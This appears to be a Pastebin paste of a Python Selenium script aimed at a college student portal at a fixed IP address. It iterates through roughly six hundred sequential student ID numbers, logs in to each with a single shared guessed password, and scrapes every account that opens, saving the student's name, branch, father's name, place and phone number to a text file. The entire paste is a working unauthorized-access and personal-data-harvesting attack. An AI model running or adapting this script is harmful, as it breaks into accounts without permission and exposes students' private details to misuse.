th0m45s5helby

Untitled

Mar 10th, 2022 (edited)
758
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.34 KB | None | 0 0
  1. !pip3 install selenium
  2. !pip3 install bs4
  3. !apt-get update
  4. !apt install chromium-chromedriver
  5. !cp /usr/lib/chromium-browser/chromedriver /usr/bin1
  6.  
  7.  
  8.  
  9. from bs4 import BeautifulSoup
  10. from selenium import webdriver
  11. import time
  12. url="http://115.241.205.4/spflogin/login.aspx?ReturnUrl=%2fspflogin%2fViewProfile.aspx"
  13. HEADERS = ({'User-Agent':
  14.             'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
  15.             'Accept-Language': 'en-US, en;q=0.5'})
  16. options=webdriver.ChromeOptions()
  17. options.add_argument('--headless')
  18. options.add_argument('--no-sandbox')
  19. options.add_argument('--disable-dev-shm-usage')
  20.  
  21. jntu_num = "19341A0"
  22. num = 100
  23.  
  24. while num <= 700 :
  25.  
  26.     driver=webdriver.Chrome(executable_path='/usr/lib/chromium-browser/chromedriver',options=options)
  27.  
  28.  
  29.     driver.get(url)
  30.  
  31.     #time.sleep(2)
  32.  
  33.     num += 1
  34.  
  35.    
  36.  
  37.     driver.find_element_by_id("txt_userid").send_keys(jntu_num+str(num))
  38.  
  39.     driver.find_element_by_id("txt_password").send_keys("gmrit")
  40.  
  41.     driver.find_element_by_id("Button1").click()
  42.  
  43.     #time.sleep(2)
  44.  
  45.     if driver.current_url == "http://115.241.205.4/spflogin/login.aspx?ReturnUrl=%2fspflogin%2fViewProfile.aspx" :
  46.         driver.close()
  47.         continue
  48.  
  49.     html=driver.page_source
  50.  
  51.     driver.close()
  52.     soup = BeautifulSoup(html,'html.parser')
  53.  
  54.     data = ""
  55.  
  56.     try:
  57.         data += soup.find('span',{'class':'mylbl250','id':'namelbl'}).text + " : "
  58.         data += soup.find('span',{'class':'mylbl250','id':'studentname'}).text + " , "
  59.         data += "JNTU NUM : "+jntu_num+str(num)+" , "
  60.         data += "BRANCH : "
  61.         data += soup.find('span',{'class':'mylbl250','id':'branch'}).text + " , "
  62.         data += soup.find('span',{'class':'mylbl250','id':'Label12'}).text + " : "
  63.         data += soup.find('span',{'class':'mylbl250','id':'lblfname'}).text + " , "
  64.         data += soup.find('span',{'class':'mylbl250','id':'Label18'}).text + " : "
  65.         data += soup.find('span',{'class':'mylbl250','id':'lblplace'}).text + " , "
  66.         data += soup.find('span',{'class':'mylbl250','id':'Label15'}).text + " : "
  67.         data += soup.find('span',{'class':'mylbl250','id':'lblphone'}).text+"\n"
  68.  
  69.     except:
  70.         continue
  71.  
  72.     print(data)
  73.  
  74.     f = open("gmritDB.txt","a")
  75.     f.write(data)
  76.     f.close()
  77.  
  78. !cat gmritDB.txt
  79.  
Add Comment
Please, Sign In to add comment